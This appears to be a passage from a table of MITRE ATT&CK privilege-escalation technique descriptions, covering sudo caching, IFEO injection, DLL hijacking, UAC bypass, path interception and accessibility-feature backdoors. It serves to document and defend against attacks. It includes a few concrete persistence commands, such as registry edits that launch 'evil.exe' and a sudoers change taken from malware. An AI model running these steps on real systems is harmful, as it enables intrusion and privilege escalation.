[Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.\nT1206 | Sudo Caching | The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.\nT1178 | SID-History Injection | The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).\nT1183 | Image File Execution Options Injection | Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)\nT1182 | AppCert DLLs | Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\nT1181 | Extra Window Memory Injection | Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\nT1179 | Hooking | Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)\nT1165 | Startup Items | Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\nT1134 | Access Token Manipulation | Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\nT1160 | Launch Daemon | Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.\nT1138 | Application Shimming | The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\nT1169 | Sudo | The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\nT1150 | Plist Modification | Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)\nT1166 | Setuid and Setgid | When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).\nT1157 | Dylib Hijacking | macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\nT1103 | AppInit DLLs | Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\nT1100 | Web Shell | A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\nT1088 | Bypass User Account Control | Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)\nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)\nT1068 | Exploitation for Privilege Escalation | Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).\nT1058 | Service Registry Permissions Weakness | Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)\nT1055 | Process Injection | Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. \nT1053 | Scheduled Task/Job | Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)\nT1050 | New Service | When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).\nT1044 | File System Permissions Weakness | Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)\nT1038 | DLL Search Order Hijacking | Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\nT1037 | Boot or Logon Initialization Scripts | Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.\nT1034 | Path Interception | **This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\nT1015 | Accessibility Features | Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: 